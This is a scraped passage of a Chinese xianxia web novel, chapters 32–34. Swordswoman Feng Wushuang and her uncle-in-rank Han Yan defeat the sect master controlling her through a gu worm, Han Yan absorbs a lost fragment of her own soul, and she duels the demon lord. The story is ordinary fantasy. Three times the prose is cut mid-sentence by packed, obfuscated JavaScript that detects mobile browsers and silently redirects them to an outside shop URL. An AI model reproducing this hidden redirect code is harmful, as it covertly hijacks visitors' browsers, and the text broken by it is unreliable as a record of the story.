对方打着父亲的名号让她放松警惕,又以邪术唤醒子蛊,试图控制她的心神,让她自愿成为白澄魂魄的养分。 她没有继承母亲的天生灵体,但根骨极佳,也可勉强入药。 寒砚摩挲下巴道:“听起来,这位白姑娘也不过是受害人,不过逝者已去,她的身躯如今是毁掉还是留着?” 总之不可能留给方不悔。 风无双于心不忍,“先收起来吧,找到她的魂魄后,一起带回宗门,看还能不能救。” 魂魄既然还没散,或许就还有一线生机。 但若要以残害无辜之人方法来救人,风无双也断然不会答应。 白澄躺的这具冰棺可不是风无双那种普通冰块,化神之下连层渣都刮不下来。 风无双没将寒砚口中“毁去冰棺”的话放在心上。 寒砚主动上前,手贴在冰棺上,要将其收进乾坤袋。 手才刚碰到,冰棺就疯狂晃动起来,她倏地侧首,耳边传来深处机关转动的声响。 风无双同样有所察觉。 “躲开!” 从暗中激射出的箭矢泛着绿光,因为石室空间不大,几乎和风无双的声音同时抵达。 寒砚被风无双拽着躲到她身后。 修士不怕一般的毒,就怕是专门针对修士的东西。 风无五指张开,绘有墨梅的骨伞唰地撑开,挡在二人面前。 灵力结界在伞面上展开,箭矢撞击伞面,发出叮叮当当的声响,接二连三落下,很快在地上堆了上百支。 头顶的石块砸下,砸到的冰棺上,冰棺完好如初,石头应声而碎。 “师姐我……” 寒砚想让风无双放开手,她好去把冰棺收起来,但风无双没给她继续说下去的机会,反而拉着她退到石室外。 轰—— 石室塌陷,一道熟悉的身影从里面飞出,瞬间只余残影。 风无双使用灵 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可方不悔就算不敌寒砚,也是个活个上千年的老怪物,对敌经验丰富,他并不看好这位才百来岁的小女娃。 浮华界何其辽阔,万年里出过的天才如过江之鲫,可是活下来、笑到最后的又有几个? 尤其像风无双这种,最容易走哪都被盯上。 师无故能看懂的,寒砚自然也明白。 无声的叹息弥散在空气中,望向风无双背影的眼眸逐渐复杂。 …… 风无双修为高,又在寒砚看似无意地引导下,紧跟着方不悔不放。 丰城如今大变样,和风无双来时截然不同。 她神思恍惚了下,又重新恢复坚定。 长街尽头。 寒砚和风无双在熟悉的地方追上方不悔,或者说,对方刻意在此处等着二人,还换了身整洁的衣服。 事实上,寒砚已经腻了这场躲猫猫游戏,如果风无双迟迟追不上,那么她会结束这场闹剧。 “你把我母亲的魂魄放在哪了?” 风无双隐隐感到不对,以方不悔的修为,他明明一开始就不该逃。 可具体哪里不对,她说不上来。 “她不会有事,反倒是你,既然知道体内有子蛊,还敢跟上来?” 方不悔话是对风无双说的,眼睛却盯紧站在风无双身后半步的病弱少女。 要不是他一时半会没法打开丰城的结界,他是半点不想面对这个处处诡异的女修。 风无双心知多说无益,手腕一转,墨梅骨伞打开浮空,握住伞柄往外一抽。 溯流光出鞘,剑声嗡鸣,随主人在瞬息间斩杀而出。 无形剑气涤荡,四周污秽之气霎那清空,有清明月光流转,照亮一方天地。 风无双虽然修为低方不悔一个小境界,但方不悔半点不敢轻看这位年轻的剑宗继承人。 骨伞漂浮在风无双身后,与溯流光一守一攻。 寒砚曾有幸用过一次风无双的骨伞。 溯流光主要由北地风雪淬炼而成,出剑时如月光照水,轻到可以随风晃动,但伞身极重,可达千斤,被施加灵力后可如一座小山沉重。 风无双筑基时得到这把伞中剑,但一直到金丹才能真正用上。 墨梅骨伞在风无双手中宛如毫无重量一般,轻飘飘地前后移动,方不悔的一剑挥砍到伞面,没有留下一丝一毫的痕迹。 寒砚同情了他半秒。 含笑轻声感慨:“瞧,论装备的重要性啊……” 32. 第32章 比起风无双的伞中剑,方不悔成为散修后可谓凄惨,再加上待在丰城这种相对偏远地方,资源比之大宗门可谓少得可怜。 但他手中有母蛊。 打到后面,两人分开。 风无双面色惨白,撑伞的手微微颤抖,连开口说话都十分艰难。 方不悔脸色一沉,催动母蛊! 子蛊持续在她体内躁动,情况远比风无双预想的要糟糕。 方不悔警惕开口:“我可以解开她的蛊,我甚至可以离开修真界,但你要向天道起誓,不再干涉我的事和对我动手。” 他的情况同样不好,但看起来比风无双受的伤要轻,至少还有力气和寒砚谈判。 寒砚眸光微动,和天道起誓啊…… 起就起呗,反正那玩意儿她都当饭吃的。 她刚想一口答应,风无双厉声喝止:“不可!” 冷汗打湿风无双的鬓发,钻心的疼痛让她刚说完身体猛地一晃。 寒砚无奈上前想去扶住她,才抬起脚,就被风无双不轻不重地瞪了眼。 寒砚无辜眨眼。 风无双舍不得说寒砚什么,转过头冷冷看向方不悔,丹田内灵力运转,她手中溯流光一挽,“我今日就算死在这里,也不会让你踏出这座城。” 不仅仅是为了其他人,还为了这座城中无辜枉死的百姓,以及她的亲人。 寒砚只好不再开口。 这些仇怨本就与她无关,她也救不了谁。 是死是活,都是风无双自己的命。 方不悔见寒砚退让,心下一慌,急道:“你要考虑清楚,是从未见面的陌生人重要,还是你师姐重要,这蛊发作时间久了……!!!” 变故骤生! 黑色烟雾一样的气体将方不悔包裹,滋滋滋的声音听得人毛骨悚然。 风无双表情一呆,来不及思考,握紧溯流光便冲了上去。 子蛊爆发的疼痛传遍全身,像无数小刀割开经脉,握着剑的手青筋暴起。 黑色烟雾,也就是鬼气,其中隐隐可见楼轻月的面容。 和之前正常少女的模样不同,她长发散乱,身上衣裙沾满血迹,红到发黑的指甲穿过方不悔的肩膀,死死掐住他的神魂。 方不悔被掐得翻白眼。 但瘦死的骆驼比马大,方不悔一开始是被她打了个措手不及,反应过来后,毫不留情地用剑劈开鬼气。 楼轻月不会流血,但也会感知到疼痛。 鬼气散开又聚拢,尖锐的啸声震得人脑嗡鸣,距离她最近的方不悔眉心紧皱,兀地背后一寒! 溯流光在他手臂上划开一条长长的口子,鲜血染红衣袖,无数剑气迎面而来。 一个不察,楼轻月突破他的钳制,几乎完全透明的魂体撞进方不悔的身躯,挤压他的神魂! “轻月!”风无双伸手去抓,终究慢了一步。 站在不远处的寒砚冷眼旁观,面上没有一丝动容。 她知道楼轻月想做什么,她要是去阻止,反倒才是杀人诛心。 一命换一命,这很公平。 她抬头望天,脸上是无尽的漠然。 方不悔抱着头在地上打滚,来自神魂深处不断撕裂的痛楚,让他险些将剑锋对准自己的心脏。 “恨意是世间最强大的养料,能将人逼成恶鬼。” 寒砚道。 师无故不知她是自言自语还是在跟他说,他干巴巴地哦了声。 不仅能将人逼成鬼,还能将人逼成魔。师无故想。 母蛊死则子蛊死,楼轻月一旦失败,和方不悔同归于尽,风无双也难以幸免。 寒砚以手掩面,悠悠叹了口气。 她上前,一脚踩到方不悔背后,将他固定在地上,手拍在他天灵盖上,从他体内将楼轻月的魂魄抽出。 风无双愣愣地看着寒砚一系列行云流水的动作,她速度太快,整个过程不超过三秒。 寒砚将楼轻月扔到一旁,略带嫌弃地拍拍手。 楼轻月飘在半空,呸呸吐出从方不悔身上撕咬下来的魂魄碎片,看了眼风无双,小心翼翼用指甲划开胸口,露出被护得严严实实的母蛊。 她不顾一切吞噬他的魂魄,争抢他的身体,就是为了母蛊的控制权。 母蛊不能被外力杀死,但却能被主人亲手毁去。 她潜伏百年,转为鬼修,就是为了今天。 楼轻月想着,突然笑出声。 但事情还没彻底结束,她看向掌心蜷缩的黑色母蛊,因为暴露在空气中,一点点化为灰烬被风吹散。 同时风无双感到身体一轻,几乎令人发疯的痛意顿时烟消云散。 无人在意的方不悔挣扎着翻身,眼睛直直看着天空,眼底神采逐渐淡去,如一团烂肉瘫在地上。 他现在这样子,估计是活不成了。 楼轻月视线从他身上扫过,最后落到风无双脸上。 她的魂魄越来越淡,昏暗光线下,已经能够看到身后的房屋。 风无双不知道该说什么,颤着手抚上她的脸颊。 如今还是少女模样的鬼修将手搭在她的手背上,脑袋主动靠近她的手,轻轻笑开。 “无双无双,你这名字取得真好,剑宗掌门一定很疼你吧。” “……娘。” “还能见到你……真好。”她脸上的笑容转为悲切,不舍地看着自己一出生就分离的孩子。 手上的阴寒转为夜风的微凉,眼前再也没有那道半透明的身影。 风无双眼圈泛着红,喉间涌上腥甜又被她强行咽下去,她到底没哭出来。 簌簌—— 风不知不觉间更猛烈。 面容模糊的百姓们步子看似缓慢,但瞬息从几十米外到两人的几米开外。 脸色惨白,动作僵硬。 他们没有完全靠近寒砚二人,在四五米处的位置停下,全无眼白的双眼目光阴沉。 方不悔的身体原地消失,紧接着出现在百姓堆中。 他长得高,一眼就能看到他的位置。 这些行尸走肉,皆听从他的指令。 方不悔捂着胸口,阴森笑道:“一个人的命你可以不在乎,那么这些百姓的魂魄呢?身为正道弟子,难道也不在乎吗?” 方不悔从一开始就没把风无双母女放在眼里,他虽大部分时间都花在复活白澄身上,但对丰城的布局从未松懈。 就算是那位仙君过来,也要在这里脱一层皮! 寒砚的出现完全在意料之外,但那又如何? 方不悔说完,所有被他控制的百姓口中发出类似野兽的低吼。 他们身上的鬼气愈发浓郁,只待一声令下,就会不要命地扑向寒砚和风无双。 灵祭教弟子以自身血肉养蛊还在正常范围内,但杀人炼鬼,吞噬他人魂魄,方不悔已然是邪修。 以他现在的情况,撑到丰城结界打开不成问题。 “只要我一死,这些人会瞬间化为怨灵。”方不悔突然反应过来什么,阴恻恻道:“我的好女儿,你该不会还不知道你这位师叔是披着人皮的鬼吧……” 风无双闭上眼,不为所动。 蛊毒已解,她迅速调息着身体。 方不悔面皮扭曲,虽然早知道挑拨估计不会成功,但还是难免失望。 至于寒砚,如果不是因为顾忌她…… 见他看向自己,寒砚掀起眼皮,眸色微凉,“我最讨厌别人威胁我。” 风无双预感不妙,“小师叔!” 只觉一阵风无声刮过,身旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919076|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少女消失不见。 方不悔好歹是化神修士,曾经的半步合体,注意到寒砚的动作,惊慌拉过无数百姓挡在他面前,妄图阻止她的步伐。 失去意识的百姓被冲开,一把冷光湛湛的黑色长戟破空而来! 方不悔双脚生根,难以动弹,睁大的双眼几欲崩裂。 不知何时出现的黑气将他禁锢在原地,让他只能眼睁睁看着自己的身体被戟贯穿,没有一滴鲜血溅出来。 刚刚勉强黏好的神魂被一股暴戾的力量定死在身体内无法逃脱,一寸一寸被碾成碎片。 直到尸体倒地,艳红的血才缓慢地从身上渗出,在身后地面形成血泊。 丰城的结界恰好在方不悔倒地时消散,外界的阳光刺破云层,照耀在城中密密麻麻的百姓身上上。 这些早已死去百年的尸体像腊一样融化,沦为地上的一抔泥土。 仅留下无边的怨灵。 …… 正如方不悔所说,他死则怨灵出。 但寒砚看得分明,这些人一旦见到阳光,身躯一毁,也会瞬间化为怨灵。 看来还是太便宜他了…… 唔,麻烦。 …… 风无双怎么也想不明白,事情为什么会走到现在这个地步。 阳光存在不到片刻,就被滔天的怨气遮掩,空气温度骤降,是连修士都无法抵御的寒冷。 百姓化为怨灵,冒着血光的眼睛像看食物一样看向她和小师叔。 然后…… 她听见一声极轻的冷哼,然后骇人的黑气从少女身上迸发,以其为中心向四周延伸。 黑气涌来时,风无双下意识闭眼。 比怨气更阴冷、更强势,绕开她的身体,将偌大的城池全部覆盖,没有放过任何一个角落。 怨灵们安静下来,漆黑的魂体也淡上不少,神情呆滞地开始四处游荡。 风无双不安地睁开眼,小心地往前踏出一步,黑气再次绕开她。 如有意识一样,她进它退,始终连她的衣角都不曾沾到。 虽然不知道原因,但无疑于她有利。 风无双心下微安,脚下的步子愈发急切,脑子飞快转动起来。 她对这黑气有种莫名的熟悉感,光看外在,和楼轻月身上的鬼气几乎没有区别。 ……小师叔为何? 黑气中难以辨别方向,她只能循着寒砚的气息摸索过去。 才走出几步,风无双前进的步伐被迫停止。 不远处,在黑暗中格外突兀的亮光从地面升起,如一轮明月升空,皎洁似梦,清冷如霜。 可风无双反而有种说不出的安心。 光亮愈发耀眼,四周的黑气开始剧烈地颤动,然后不断收缩聚拢,欢欣雀跃地回到主人身体之内。 正常的黑夜不会影响视物,风无双这才看到寒砚的身影。 她还在原来的位置,背对着她凭空而立,红色裙摆被风吹起,似灼灼火莲绽放,黑色长发飘动起落,略显诡谲。 寒砚看向那块在城隍石像中捡起的城主官印。 它漂浮在她面前,散发出明亮刺目的白光。 之前为阻止怨灵发狂,寒砚一下动用太多力量,而这块官印隔着乾坤袋受到黑气的冲击,上面看似坚固的封印摇摇欲坠。 冲出乾坤袋后,封印咔擦一声碎掉。 然后就有了风无双所见的,宛如明月的白光。 ——那是被封印在里面的魂魄。 突破封印的神魂在官印上盘旋,迷茫“张望”四周,直到看清寒砚,以迅雷不及掩耳之势飞进她的眉心。 刺眼白光消散。 君轻离追着双目猩红的镜修竹到时,两人刚好看到这一幕。 “阿砚——” 33. 第33章 当那一缕残魂撞进寒砚身体时,她本可以躲开,但鬼使神差地没动。 丝丝缕缕的凉意,毫无阻碍地浸入神魂中,没有遭到任何排斥。 因为这本就是她的魂魄。 这也不是所谓的城主官印,而是上古遗物——聚魂印。 聚魂印从空中落下,平稳落在她的掌心。 君轻离和风无双惊讶之余,只有对她身体的担忧。 “你该死——” 镜修竹情绪近乎崩溃。 杀意凛然的魔刀朝寒砚直直劈来,被及时赶到的君轻离挥剑挡下。 君轻离对上镜修竹发红的眼睛,一怔:“……你发什么疯?” 镜修竹深呼吸,从牙缝中挤出一句话:“等我把你的小弟子杀了,你就知道我在发什么疯!” 寒砚从君轻离身后探出个脑袋,扬了扬手中的东西,唯恐天下不乱地道:“这聚魂印是你徒弟?好别致的爱好。” 她话刚说完,手中的聚魂印就在镜修竹眼皮子底下化为齑粉,从指尖的缝隙飘散。 寒砚:“……”她发誓她不是故意的。 镜修竹愣住,泪珠顺着脸颊滑落,连呼吸都仿佛被他忘却,喉头发紧,一张嘴只能发出嘶哑的声音。 他如寸寸裂开的石像,几乎崩溃地看着散落的聚魂印粉末。 君轻离忙不迭将寒砚脑袋按回去。 寒砚有些不满,拉着君轻离的手臂想喊他让开,但面前这人下盘太稳,她不动真格根本晃不动他。 镜修竹抬起头,双眼无神地望着天空。 出乎预料的,他可能气到极致反而冷静了下来,后退几步,看死人一样看着这师徒二人,嘴角勾起满是戾气的弧度。 手腕一动,近两米长的黑红魔刀被他扛在肩上,身上的衣袍松松垮垮,露出结实的小片胸膛。 “本尊近日得到消息,三个月后,云海秘境将有一株混沌青莲出世,到时……本尊在秘境中静候二位。” 聚魂印已碎,他就算杀了这小弟子也无济于事。 如今残魂融入她的神魂,不如找个合适的时机,杀人取魂! 镜修竹自以为不跟寒砚计较,放她一马,但他想就此收手离开,但寒砚可未必同意。 君轻离注意到她的动作,但没来得及阻止。 少女动作迅捷如风,意念微动间,空气中已凝结出上万根冰刺,随着她的动作全部往镜修竹身上而去。 镜修竹抬手,魔气将冰刺停在半空,寒砚的手像陷入泥沼中无法再前进半寸,他冷笑着欲开口,就见另一只拳头迎面而来! 他漫不经心侧首,但没完全躲开。 凌厉的风擦过,半边脸传来钝痛,懵了半晌后,火气升腾。 寒砚眉眼冷凝,动手时,掌心形成一个小巧的、不易引人注意的黑色漩涡。 不出意外的话,丰城这些事和镜修竹脱不了关系,再加上此前的仇。 新仇旧恨,刚好一起算! “鬼气?你是鬼域的人?” 站在寒砚身后的人看不到,但镜修竹将她的动作尽收眼底。 原本他没将寒砚放在心上。 一个年纪还不到他零头的小女修,天赋平庸,即便走了些歪门邪道也不过从废物变成有点本事的废物。 渡劫期的身体防御力超过世间九成的法宝,普通天雷都难以破开,但她竟然能够伤到他…… 邪修?还是鬼修? 寒砚自然也注意到自己的“黑气”失去了遮掩。 是因为魂魄被补全? 她抬头,剔透的杏眼一点点转为血色,涌出掌心的黑气化为戟,被一只手紧紧握住。 既然已经恢复了本来的样子,那就没什么好遮遮掩掩的了。 不过可惜,一直到现在她也不知道是谁对她动的手脚。 寒砚脸上扬起笑。 两侧弯刃旋出冰冷的弧度,破开夜色! 君轻离看不到她的表情,怕她吃亏,召出本命剑,同样对镜修竹出手。 镜修竹:“?” “你们正道修士就这样以多欺少?” 无人回应他的不满。 镜修竹满腔怒火地咬牙,他来这里可不是为了跟他们打架的! 夜幕之下的丰城宛如匍匐在地的巨兽,寂静无声,将一切危险都藏在暗处。 轰—— 完全不同的三种力量混杂在一起,气浪重叠,房屋骤然坍塌。 风无双甚至不能靠近这三人的战场。 她注意到什么,溯流光飞出,擦过魔修的鼻尖。 “找死。” 突然冒出的魔修一身黑色紧身衣,四肢修长,杀意四溢的声音尚且稚嫩,约莫是个十五六的少年。 风无双不吭声,直接出手。 “这人谁?”寒砚留意到另一边的动静,趁着君轻离分走来自镜修竹的大部分压力,还有空询问师无故。 一般君轻离在的时候,师无故都不会开口。 但现在寒砚先问,他没法再装死,“魔宫右护法,笙。他有个姐姐叫锦瑟,是魔宫左护法。” 魔界以左为尊,笙的实力不如锦瑟,但因为嘴巴很紧,动手不问缘由,是魔尊手下最忠诚的一把刀。 只要不给自己添乱,寒砚也懒得搭理。 手中戟如蛟龙出海,破开平静的海面,重重落在镜修竹的魔刀刀身上。 镜修竹手臂震痛,实在难以想象对方一个修为不高的女修力气这么大,眯起狭长的眸子,神色少见的认真。 魔刀气势磅礴,以劈天裂地之势斩下,刀风刮起,席卷百米之内的沙石,地皮被掀起,纷纷奔涌向寒砚。 嘶啦—— 遮挡视线的魔气如薄纸片被撕开,当戟尖刺进他的肩膀时,他不得不承认,寒砚远比他想的要危险。 镜修竹闷哼一声,挥刀砍去,寒砚被迫抽出戟避开。 他抬手捂住伤口,血液从指缝中流出,几乎止不住的痛。 她身上的鬼气也比寻常鬼修的更加强势霸道,钻进伤口中,吞噬着他的血肉和魔气。 笙挡在君轻离面前,还没动手人就已经飞了出去。 镜修竹伸手一捞将人抓住,转身化为魔气消失。 一个很邪性的鬼修。 “云海秘境,切勿失约,不然……哈哈哈哈啊!” 癫狂的笑声变成一声惨叫,寒砚五指张开,长戟从虚空回到她手中。 她抬脚欲追。 君轻离喊住她,“阿砚!” 寒砚脚下一顿,唰地回过头。 血色的眼眸中是还未散去的凶气。 君轻离心脏剧烈跳动着,想起前世的经历,心口处顿时传来幻痛。 他手脚略有些僵硬地朝寒砚靠近。 “……别过来。” 寒砚警告道。 她虽然看不到自己现在的面容,但大概也能猜到。 血瞳,鬼气。 只要不是傻子,很容易猜出真相。 她手指摩挲着冰凉的戟身,随时准备动手。 君轻离还在靠近。 寒砚不太高兴,几乎隐入黑夜的鬼气从她身后伸出,张牙舞爪地将他包围。 缓缓抬起手,戟尖对着君轻离,这是一个充满威胁的动作。 还差一点距离,便碰到他的衣襟。 已经有了一次经历,虽然害怕谈不上,不过被这戟所伤确实很痛。 绵长的叹息无声飘散,青年垂至足踝的长发被周围流动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她话没说完,靠着她的少女眉头一动,刚醒过来,朦胧的双眼在看见对面之人时一下清醒。 “……师尊。” 君轻离走过来,在她身前蹲下,轻声道:“可是吵到你了?” 风无双:“?”他们刚刚好像没什么声音吧。 之前看到那副奇怪的画面后,寒砚脑海中就开始涌入更多场景,有她第一次见君轻离的,也有刚拜师剑宗的…… 但让她真正在意的,是和这一世大相径庭的轨迹。 火焰倒映在她眼中,也无法照亮深处的暗色。 听见他的问话,她缓慢坐直了身体,摇头:“师尊与其问大师姐,何不直接问我?” 她这话就差直说能够听到他们的传音。 风无双眼底划过惊讶,不过一段时间没见,她怎么就觉得有些听不懂小师叔的话了。 君轻离同样意外,不过还算平静。 “你现在能够控制那股力量了?” 寒砚点头,又摇头,“有点难受,会很想跟人动手,不过比起最开始,现在起码意识还在,还能记得发生了什么事情。” 说着,她脸上扬起明媚的笑,“好像还是个不错的发展。” 君轻离皱了下眉,不像她这样乐观。 “把手给我。” 不是信不过风无双,而是寒砚的情况太过诡异。 她身上的黑气,明明之前还看不出来是什么,怎么突然就…… 嗯? 34. 第34章 寒砚乖乖伸出手。 带着暖意的指尖落到手腕上,有点痒,她指尖不自觉地蜷缩了下。 她装作忐忑地问道:“可是有什么问题吗?” 他难道发现了什么? 君轻离没有第一时间开口,单看脉象的话,和此前并无太大区别,唯一变化的是比起之前略显浮散的脉象更凝实。 但…… 她的灵脉在衰竭,原本扎实的修为根基也隐隐约约有所动摇。 他压下心底的担忧,不想让她跟着不安,只是问:“那缕残魂如何?” 这人果然什么都看到了。 寒砚将手缩回袖中,沉吟片刻,还是决定话说一半,“应该对我没有恶意,至少我现在没有感到任何不适。” 她自己的魂魄,自然不会对她产生不好的影响。 不过,为什么这里会有她的魂魄,以及镜修竹过分在意的态度。 她很确定自己和这位魔尊并没有什么交集,对方对她的态度也并不友好。 君轻离又问:“可还有其他影响?比如说看到陌生的画面,或者听到什么声音?” 寒砚心道当然有,不过都是她自己的而已。 那些奇怪又熟悉的记忆。 “没有。”她道。 君轻离忧心忡忡,起身揉了下她的脑袋,“平时不要随意使用,但凡有什么不舒服及时和我说。” 他说完,递给她一个乾坤袋,款式依旧普通,和路边上买的没什么区别。 和他的剑不一样,这就是个模样普通功能普通的乾坤袋。 寒砚不明就里地接过,神识一扫,嘴角兀地抽了下。 这人之前给她的乾坤袋里除了灵石外,还有不少养身体的天材地宝、三道渡劫期的剑气以及各种攻击和防御符箓,她到现在还基本上一点都没碰。 君轻离认真道:“这些皆为我这段时间所制,你用完了便直接同我说,或者有其他需要的也告知我便是。” 这些东西其实寒砚基本用不上,但谁会嫌好东西多?起码她不会。 寒砚喜笑颜开:“谢谢师尊。” 君轻离站起身,看向风无双,将一个储物袋交给她,“逍云很担心你,修真界变乱将起,这番事了早日回宗。” 风无双受宠若惊,没想到还有自己的份,诚恳道:“多谢仙君。” 她不是第一次见君轻离,知道对方不在意虚礼,只能感动地将这份好心记在心里。 嗯,回报在小师叔身上也是一样。 君轻离点头。 他重生回来的这段时间忙前忙后,惦记着徒弟惦记着宗门,几乎将她的事情忘在了脑后,等反应过来却已经收到她出事的消息,一时间难免心存愧疚。 风无双不知道也不在乎他的真实想法,只以为自己是沾了寒砚的光,宗门长辈赠礼,她自然没理由拒绝。 再加上这次的事情,让她心中升起紧迫,如果她再强大一点,就不会被人算计,也不会连累寒砚差点跟着她出事。 她手中乾坤袋微微变形,身周道蕴升腾,灵气如同受到吸引不断朝她汇聚。 风无双进入到一种不可触及的玄妙状态,眼睛一动不动,好似一尊完美的雕塑。 为了不影响到她,寒砚站起,靠近君轻离,压低声音道:“大师姐这是悟道了?” “……师姐?”君轻离低头看寒砚,没明白这个称呼。 他记得自己好像就收了她一个弟子……吧。 君轻离罕见的茫然。 难道又是他重生导致的变故? 寒砚跟他解释了下,君轻离顿时哭笑不得。 他无奈笑道:“是。我不知道她这一遭经历了什么,身躯和神魂都受到不同程度的创伤,但是看她现在的情况,心境倒是提升了不少。” 逍云这个弟子他自然认识,难得一见的好苗子,溯流光剑主,无情剑道的继承人。 不出意外的话,她将是修真界之后的万年中最耀眼的修士。 对于剑修而言,这点伤算不得严重。能够提升心境,可谓是收获颇丰。 …… 寒砚昏迷的时间并不长,这一期间君轻离和风无双几乎没有任何交流,对于丰城的事情并不清楚。 如今风无双悟道,君轻离问寒砚发生了何事。 她只好将自己到丰城之后的所见所闻告诉君轻离。 不过隐去了些她本不该知道的东西。 比如她刚到丰城时,就发现这是一座死城。 里面的活人只有方不悔这个城主,至于风无双,身躯和神魂分离,理论上来讲属于活死人。 鬼域与世隔绝,修真界的修士难以接触到相关信息,风无双到丰城时没有察觉到异样被算计实属正常。 而这些被炼成鬼卒的凡人,灵魂拘在身躯中时,因为方不悔的存在,他们不会记得自己已经死去,但怨气却会与日俱增。 可一旦身躯被毁,他们就会瞬间化为怨灵,一直被死前的记忆折磨。 近十万人百年的怨气足以扭曲空间,形成一个小型的领域。 他们之前所见到的、繁华的丰城,正是受到怨气影响,所展现出来的幻境,那也是怨灵们记忆中的家。 后来方不悔用于杀死她的成亲剧情,应该不完全是幻境,她能清楚地感受到时空变化。 就她所知,浮华界中唯有镜修竹最擅长此类,她很难不怀疑他。 扯远了。 和救人相反的,杀死这些怨灵却很容易,至少对寒砚而言是如此。 凡人的魂魄最是脆弱不过,轻轻一碰,就像尘埃一样散去。 她托着下巴感慨道:“这便是天才吗?随便一点小事都能悟道……哎呀!” 寒砚捂着额头,不满地瞪向君轻离,“你敲我做什么?” 平时揉她脑袋就算了,别太过分。 “将剑锋对准至亲,从来都不是小事。” 他悻悻收回手,但并不后悔,他必须该严格的时候严格,坚决不能让徒弟走上歪路子! ……他不希望自己唯一的弟子,将人命视为草芥,包括自己的命。 “她一时半会结束不了,走吧。”君轻离决定绕开这个话题,挥手给风无双布下结界。 寒砚心知肚明,懒得追究,顺口接话:“去哪?” “送这些怨灵离开。” 说话间,他的灵息将寒砚笼罩,再一眨眼,两人就换了地方。 君轻离带着她,出现在丰城之外的山峰上,一转身就能看见山下破败的城池。 于无边夜色中若隐若现,像蛰伏在暗中随时准备露出獠牙的巨兽。 因为这些怨灵所在,丰城如今的危险不言而喻。 “你想做什么?” 这些怨灵生前枉死,怨气日积月累,已经到了寒砚都觉得棘手的地步。 最简单的办法就是全部除掉,但代价是孽力缠身,死在雷劫下。 心软一点可以将其封印,但这将会成为一个难以控制的隐患,甚至可能演变成大麻烦。 唯一能根除的办法,就是净化他们身上的怨气,送其往生。 在寒砚原来的世界,有地府判官十殿阎罗,简单说就是有一套完整的体系,该投胎的投胎、该受刑的受刑。 但修真界并未有这些。 君轻离缓声道:“凡人死后,魂魄会被引导着自鬼域入冥河,洗去前尘往事后变成空白的灵魂,每当凡间有新生儿降临,这些魂魄就会前往投胎,如此循环往复直至魂力耗尽彻底回归天地。” 魂魄的怨气越重,在冥河中待的时间越长,损耗的魂力也就越多。 而这些怨灵即便被送往冥河,也只会落个魂飞魄散的下场。 “接下来我会剥离他们身上的怨气,再将他们引去冥河净魂。” 寒砚皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938626|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起眉,“剥离之后呢?怨灵的数量虽不到十万,但这样庞大的怨气可不好处理。” 出于对他的了解,她有种不妙的预感。 “我会将其封印在体内,再日夜度化。”君轻离平静道。 寒砚:“?” 她险些以为自己听错了。 哈,封印在体内? 真以为自己是无所不能的救世主吗? 寒砚冷着脸,想起关于君轻离的传闻。 哦,可不就是舍己为人的救世主。 “师尊。” 轻柔夜风拂过两人的衣摆,落下又扬起,无声接触又分离,她的声音混在风中,染上了说不清的情绪。 君轻离背后是死气沉沉的城池。 夜色并不影响修士视物,寒砚可以清楚地看见此时正在街上游荡的怨灵。 他们本是无辜之人,就因生在修真界,外面的人甚至不知他们早已死去。 闻言,君轻离疑惑地嗯了声,不解地和她对视。 寒砚眼中倒映着他的脸,青年眉目疏淡,一如初见时清风朗月,恍如谪仙。 明明都不再是十多岁的少年,可有的人仍旧干净剔透,不染尘埃。 见他完全不当回事的反应,寒砚莫名觉得牙痒痒。 为什么总是要不顾自己的安危去救不相干的人?他知道这些怨气入体会有什么后果吗?不,他知道,而且只会比她清楚! 一旦处理不好,走火入魔都还是轻的,严重点,当场就被怨气同化沦为没有理智的鬼怪。 他有几条命够挥霍的?! 寒砚越想越烦,表情没什么变化,目光却凉凉地盯着君轻离,将他盯得浑身发毛。 君轻离心中警铃大作,刚想后退,就见寒砚扑了过来。 他倏地瞪大眼。 下意识想躲,但想到后面是山坡,硬是站着没动。 然后肩上骤痛。 君轻离眉心一跳。 他身上的衣衫就是最为寻常的布料,被寒砚用力一咬,立刻渗出血来。 君轻离犹犹豫豫地开口:“阿砚你……牙还好吗?” 寒砚:“?” 捂住嘴后退了几步,眼神幽怨。 她本就不是寻常筑基修士,自然不会有事。 反倒是他…… 有病吧。 身为剑修,君轻离年少时受过的伤不计其数,没把寒砚的小打小闹放在心上,反而很高兴她能够关心自己。 如此离他任务成功也就更近了一步。 他满怀欣慰地打开好感系统,然后看到——还是原封不动的20。 一个点都没增加。 君轻离:“……” 虽然有点失望,但也还能接受。 他们相处的时间实在有限,她难以亲近自己才正常,有警惕心是好事,至少代表着徒弟不会被其他人轻易拐走。 君轻离如此安慰自己。 寒砚闭上眼,再次睁开后,嘴角勾起一抹笑,开口就是阴阳怪气:“仙君大人大义,我等远不能及,如有需要还请仙君尽管吩咐。” 他带着她来总不能是让她干看着吧。 君轻离有点怕她现在这样子,又打开好感系统,见没有下降才松了口气。 他平缓了下加快的心跳,“……阿砚,我知道你是担心我。” 灵气抚过肩头,伤口和血迹消失,一切恢复如初。 